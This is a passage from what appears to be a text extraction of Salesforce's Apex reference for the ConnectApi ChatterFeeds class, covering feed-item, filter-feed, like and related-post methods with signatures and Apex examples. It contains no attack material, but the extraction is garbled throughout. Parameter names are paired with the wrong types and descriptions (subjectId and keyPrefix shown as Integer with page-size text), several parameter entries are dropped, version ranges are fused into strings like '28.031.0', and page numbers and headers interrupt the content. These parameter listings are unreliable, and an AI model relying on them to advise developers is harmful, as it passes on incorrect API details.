for (ConnectApi.FeedItem aFeedItem : feedItemPage.items){
feedItemIds.add(aFeedItem.id);
}
// Get info about the feed items in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterFeeds.getFeedItemBatch(null,
feedItemIds);

859

Reference

ChatterFeeds Class

for (ConnectApi.BatchResult batchResult : batchResults) {

if (batchResult.isSuccess()) {
// Operation was successful.
// Print the header for each feed item.
ConnectApi.FeedItem aFeedItem;
if(batchResult.getResult() instanceof ConnectApi.FeedItem) {
aFeedItem = (ConnectApi.FeedItem) batchResult.getResult();
}
System.debug('SUCCESS');
System.debug(aFeedItem.header.text);
}
else {
// Operation failed. Print errors.
System.debug('FAILURE');
System.debug(batchResult.getErrorMessage());
}
}

getFeedItemsFromFeed(communityId, feedType)
Returns the first page of feed items for the Company, Home, and Moderation feed types. The page contains the default number
of items.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

860

Reference

ChatterFeeds Class

The type of feed. Valid values are Company, Home, and Moderation.

Return Value
Type: ConnectApi.FeedItemPage

getFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam)

Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.

861

Reference

ChatterFeeds Class

pageParam

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam)
Returns the feed items for the specified page for the Company, Home, and Moderation feed types, in the specified order. Each
feed item contains no more than the specified number of comments.

API Version
29.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, sortParam).

Available to Guest Users

31.0 only

862

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

863

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedItemsFromFeed(communityId, feedType, subjectId)

Returns the first page of feed items for the specified feed type, for the specified user or record. The page contains the default number
of items.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: String

864

Reference

ChatterFeeds Class

Return Value
Type: ConnectApi.FeedItemPage

getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,
sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

865

Reference

ChatterFeeds Class

feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
The page contains the default number of items.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam)
Returns the feed items on the specified page for the specified user or record, for the specified feed type in the specified order. Each feed
item includes no more than the specified number of comments.

866

Reference

ChatterFeeds Class

API Version
29.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values include every ConnectApi.FeedType except Company, Filter, Home, and Moderation.
subjectId

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: String

867

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
result)
Testing ConnectApi Code

getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, showInternalOnly)
Returns the feed items on the specified page for the specified user or record, for the Record feed type in the specified order. Each
feed item includes no more than the specified number of comments. Specify whether to return feed items posted by internal
(non-community) users only.

API Version
30.031.0
Important: In version 32.0 and later, use getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, sortParam, showInternalOnly).

Available to Guest Users

31.0 only

868

Reference

ChatterFeeds Class

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String
Any record ID, including a group ID.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

869

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.
showInternalOnly

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly, result)
Testing ConnectApi Code

getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix)

Returns the first page of feed items for the specified user and the specified key prefix. The page contains the default number of items.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

870

Reference

ChatterFeeds Class

keyPrefix

Return Value
Type: ConnectApi.FeedItemPage

getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize,
sortParam).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix, String pageParam, Integer pageSize,
ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

871

Reference

ChatterFeeds Class

keyPrefix

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam, result)
Testing ConnectApi Code

getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam)
Returns the specified page of feed items for the specified user and the specified key prefix, in the specified order. Each feed item contains
no more than the specified number of comments.

API Version
29.031.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount,
elementsPerBundle, density, pageParam, pageSize, sortParam).

872

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeed(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
sortParam
Type: ConnectApi.FeedSortOrder

Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.

873

Reference

ChatterFeeds Class

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.FeedItemPage

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize,
sortParam, result)
Testing ConnectApi Code

getFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the specified user and the specified key prefix. Includes only feed items that have been
updated since the time specified in the updatedSince parameter.

API Version
30.031.0
Important: In version 32.0 and later, use getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,
recentCommentCount, elementsPerClump, density, pageParam, pageSize, updatedSince).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsFromFilterFeedUpdatedSince(String
communityId, String subjectId, String keyPrefix, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

874

Reference

ChatterFeeds Class

keyPrefix

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: String
An opaque token containing information about the last modified date of the feed. Do not construct this token. To retrieve this token,
call getFeedItemsFromFilterFeed and take the value from the updatesToken property of the
ConnectApi.FeedItemPage response body.

Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.

Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesnt update a feed item.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.
SEE ALSO:
setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam,
pageSize, sortParam, updatedSince, result)
Testing ConnectApi Code

875

Reference

ChatterFeeds Class

getFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Company, Home, and Moderation feed types. Includes only feed items that have
been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the specified number
of comments.

API Version
30.031.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density,
pageParam, pageSize, updatedSince).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, Integer recentCommentCount, ConnectApi.FeedDensity density,
String pageParam, Integer pageSize, String updatedSince)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

The type of feed. Valid values are Company, Home, and Moderation.
recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: String

876

Reference

ChatterFeeds Class

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.

Example
This example gets the feed items in the company feed and grabs the updatesToken property from the returned object. It then
passes the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the
first call:
// Get the feed items in the company feed and return the updatesToken
String communityId = null;
// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.Company);
// page.updatesToken is opaque and has a value like '2:1384549034000'
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.Company, 1, ConnectApi.FeedDensity.AllUpdates, null,
1, page.updatesToken);

SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince,
ConnectApi.FeedItemPage, results)
Testing ConnectApi Code

877

Reference

ChatterFeeds Class

getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density,

pageParam, pageSize, updatedSince)
Returns the specified page of feed items for the Files, Groups, News, People, and Record feed types. Includes only feed
items that have been updated since the time specified in the updatedSince parameter. Each feed item contains no more than the
specified number of comments.

API Version
30.031.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.FeedItemPage getFeedItemsUpdatedSince(String communityId,
ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount,
ConnectApi.FeedDensity density, String pageParam, Integer pageSize, String updatedSince)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

One of these values:

Files
Groups
News
People
Record
subjectId

Type: String
If feedType is ConnectApi.Record, subjectId can be any record ID, including a group ID. Otherwise, it must be the
context user or the alias me.
recentCommentCount

Type: Integer

878

Reference

ChatterFeeds Class

The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.

879

Reference

ChatterFeeds Class

// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken);

SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, result)
Testing ConnectApi Code

getFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density,

pageParam, pageSize, updatedSince, showInternalOnly)
Returns the specified page of feed items for the Record feed type. Includes only feed items that have been updated since the time
specified in the updatedSince parameter. Specify whether to return feed items posted by internal (non-community) users only.

API Version
30.031.0
Important: In version 32.0 and later, use getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount,
density, pageParam, pageSize, updatedSince, showInternalOnly).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedType
Type: ConnectApi.FeedType

Value must be ConnectApi.FeedType.Record.

subjectId

Type: String

880

Reference

ChatterFeeds Class

Any record ID, including a group ID.

recentCommentCount

Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.
density
Type: ConnectApi.FeedDensity

Specify the amount of content in a feed.

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
updatedSince

Type: Boolean
Specifies whether to show only feed items from internal (non-community) users (true), or not (false). The default value is
false.

Return Value
Type: ConnectApi.FeedItemPage
A paged collection of ConnectApi.FeedItem objects.

Usage
This method returns only feed items that have been updated since the time specified in the updatedSince argument. A feed item
is considered to be updated if it was created since the last feed request, or if sort=LastModifiedDateDesc and a comment
was added to the feed item since the last feed request. Adding likes and topics doesnt update a feed item.
If showInternalOnly is true and Communities is enabled, feed items from communities are included. Otherwise, only feed
items from the internal community are included.
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.

881

Reference

ChatterFeeds Class

Example
This example gets the feed items in the news feed and grabs the updatesToken property from the returned object. It then passes
the value of updatesToken to the getFeedItemsUpdatedSince method to get the feed items updated since the first call:
// Get the feed items in the news feed and return the updatesToken
String communityId = null;
String subjectId = 'me';
// Get the feed and extract the update token
ConnectApi.FeedItemPage page = ConnectApi.ChatterFeeds.getFeedItemsFromFeed(communityId,
ConnectApi.FeedType.News, subjectId);
// page.updatesToken is opaque and has a value like '2:1384549034000'
// Get the feed items that changed since the provided updatesToken
ConnectApi.FeedItemPage feedItems= ConnectApi.ChatterFeeds.getFeedItemsUpdatedSince
(communityId, ConnectApi.FeedType.News, subjectId, 1, ConnectApi.FeedDensity.AllUpdates,
null, 1, page.updatesToken, true);

SEE ALSO:
setTestGetFeedItemsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince, showInternalOnly, result)
Testing ConnectApi Code

getFeedPoll(communityId, feedItemId)
Returns the poll associated with the feed item.

API Version
28.031.0
Important: In version 32.0 and later, use getFeedElementPoll(communityId, feedElementId).

Requires Chatter
Yes

Signature
public static ConnectApi.FeedPoll getFeedPoll(String communityId, String feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String

882

Reference

ChatterFeeds Class

The ID for a feed item.

Return Value
Type: ConnectApi.FeedPoll
Note: Triggers on FeedItem objects run before their attachment and capabilities information is saved, which means that
ConnectApi.FeedItem.attachment information and ConnectApi.FeedElement.capabilities information
may not be available in the trigger.

getFilterFeed(communityId, subjectId, keyPrefix)

Returns the first page of a feed for the specified user and the given key prefix.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: String
A key prefix is the first three characters of a record ID, which specifies the entity type.

Return Value
Type: ConnectApi.Feed

getFilterFeed(communityId, subjectId, keyPrefix, sortParam)

Returns the first page of a feed in the specified order for the specified user and the given key prefix.

883

Reference

ChatterFeeds Class

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Feed getFilterFeed(String communityId, String subjectId, String
keyPrefix, ConnectApi.FeedType sortParam)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.
keyPrefix

Type: ConnectApi.FeedType
Values are:
CreatedDateDescSorts by most recent creation date.
LastModifiedDateDescSorts by most recent activity.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null,
the default value CreatedDateDesc is used.

Return Value
Type: ConnectApi.Feed

API Version
30.0

884

Reference

ChatterFeeds Class

Requires Chatter
Yes

Signature
public static ConnectApi.FeedDirectory getFilterFeedDirectory(String communityId, String
subjectId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
subjectId

Type: String
The ID of the context user or the alias me.

Return Value
Type: ConnectApi.FeedDirectory
A directory containing a list of filter feeds.

Usage
Call this method to return a directory containing a list of ConnectApi.FeedDirectoryItem objects. Each object contains a
key prefix associated with an entity type the context user is following. A key prefix is the first three characters of a record ID, which specifies
the entity type.
Use the key prefixes to filter the news feed so that it contains only feed items whose parent is the entity type associated with the key
prefix, for example, get all the feed items whose parent is an Account. To get the feed items, pass a key prefix to the
ConnectApi.getFeedItemsFromFilterFeed method.
The information about filter feeds never contains the key prefixes for the User (005) or Group (0F9) entity types, but all users can use
those key prefixes as filters.
The ConnectApi.FeedDirectory.favorites property is always empty when returned by a call to
getFilterFeedDirectory because you cant filter a news feed by favorites.

Example
This example calls getFilterFeedDirectory and loops through the returned FeedDirectoryItem objects to find the
key prefixes the context user can use to filter their news feed. It then copies each keyPrefix value to a list. Finally, it passes one of
the key prefixes from the list to the getFeedItemsFromFilterFeed method. The returned feed items include every feed item
from the news feed whose parent is the entity type specified by the passed key prefix.
String communityId = null;
String subjectId = 'me';
// Create a list to populate with key prefixes.
List<String> keyPrefixList = new List<String>();

885

Reference

ChatterFeeds Class

// Prepopulate with User and Group record types

// which are available to all users.
keyPrefixList.add('005');
keyPrefixList.add('0F9');
System.debug(keyPrefixList);
// Get the key prefixes available to the context user.
ConnectApi.FeedDirectory myFeedDirectory =
ConnectApi.ChatterFeeds.getFilterFeedDirectory(null, 'me');
// Loop through the returned feeds list.
for (ConnectApi.FeedDirectoryItem i : myFeedDirectory.feeds) {
// Grab each key prefix and add it to the list.
keyPrefixList.add(i.keyPrefix);
}
System.debug(keyPrefixList);
// Use a key prefix from the list to filter the feed items in the news feed.
ConnectApi.FeedItemPage myFeedItemPage =
ConnectApi.ChatterFeeds.getFeedItemsFromFilterFeed(communityId, subjectId,
keyPrefixList[0]);
System.debug(myFeedItemPage);

getLike(communityId, likeId)
Returns the specified like.

API Version
28.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLike getLike(String communityId, String likeId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.

886

Reference

ChatterFeeds Class

likeId

Type: String
The ID for a like.

Return Value
Type: ConnectApi.ChatterLike

getLikesForComment(communityId, commentId)
Returns the first page of likes for the specified comment. The page contains the default number of items.

API Version
28.0

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.

Return Value
Type: ConnectApi.ChatterLikePage

getLikesForComment(communityId, commentId, pageParam, pageSize)

Returns the specified page of likes for the specified comment.

API Version
28.0

887

Reference

ChatterFeeds Class

Available to Guest Users

31.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage getLikesForComment(String communityId, String
commentId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
commentId

Type: String
The ID for a comment.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterLikePage

getLikesForFeedElement(communityId, feedElementId)
Get the first page of likes for a feed element.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

888

Reference

ChatterFeeds Class

Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element.

Return Value
Type: ConnectApi.ChatterLikePage Class
If the feed element doesnt support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.

getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize)

Returns the specified page of likes for a feed element.

API Version
32.0

Available to Guest Users

32.0

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage getLikesForFeedElement(String communityId,
String feedElementId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element.

889

Reference

ChatterFeeds Class

pageParam

Type: Integer
Specifies the number of feed elements per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterLikePage Class
If the feed element doesnt support the ChatterLikes capability, the return value is ConnectApi.NotFoundException.

getLikesForFeedItem(communityId, feedItemId)
Returns the first page of likes for the specified feed item. The page contains the default number of items.

API Version
28.031.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.

Return Value
Type: ConnectApi.ChatterLikePage

890

Reference

ChatterFeeds Class

getLikesForFeedItem(communityId, feedItemId, pageParam, pageSize)

Returns the specified page of likes for the specified feed item.

API Version
28.031.0
Important: In version 32.0 and later, use getLikesForFeedElement(communityId, feedElementId, pageParam, pageSize).

Available to Guest Users

31.0 only

Requires Chatter
Yes

Signature
public static ConnectApi.ChatterLikePage getLikesForFeedItem(String communityId, String
feedItemId, Integer pageParam, Integer pageSize)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedItemId

Type: String
The ID for a feed item.
pageParam

Type: Integer
Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
pageSize

Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterLikePage

getRelatedPosts(communityId, feedElementId, filter, maxResults) (Beta)

Get posts related to the context feed element.
Note: This release contains a beta version of related questions, which means its a high-quality feature with known limitations.
This feature isnt generally available unless or until Salesforce announces its general availability in documentation or in press
releases or public statements. We cant guarantee general availability within any particular time frame or at all. Make your purchase

891

Reference

ChatterFeeds Class

decisions only on the basis of generally available products and features. You can provide feedback and suggestions for related
questions in the Community Implementation group in the Success Community.

API Version
37.0

Available to Guest Users

37.0

Requires Chatter
Yes

Signature
public static ConnectApi.RelatedFeedPosts getRelatedPosts(String communityId, String
feedElementId, ConnectApi.RelatedFeedPostType filter, Integer maxResults)

Parameters
communityId

Type: String
Use either the ID for a community, internal, or null.
feedElementId

Type: String
ID of the feed element. The feed element must be a question.
filter

Type: ConnectApi.RelatedFeedPostType
Specifies the type of related post. Values are:
AnsweredRelated questions that have at least one answer.
BestAnswerRelated questions that have a best answer.
GenericAll types of related questions, including answered, with a best answer, and unanswered.
UnansweredRelated questions that dont have answers.
Generic is the default value.
maxResults

Type: Integer
The maximum number of results to return. You can return up to 25 results; 5 is the default.

Return Value
Type: ConnectApi.RelatedFeedPosts
In version 37.0 and later, related feed posts are questions.

892

Reference

ChatterFeeds Class

Each related feed post has a score indicating how closely its related to the context feed post. We return related feed posts sorted by
score, with the highest score first.

Usage
To test code that uses this method, use the matching set test method (prefix the method name with setTest). Use the set test method
with the same parameters or the code throws an exception.

isCommentEditableByMe(communityId, commentId)
Indicates whether the context user can edit a comment.

API Version
34.0

Requires Chatter
Yes

Signature
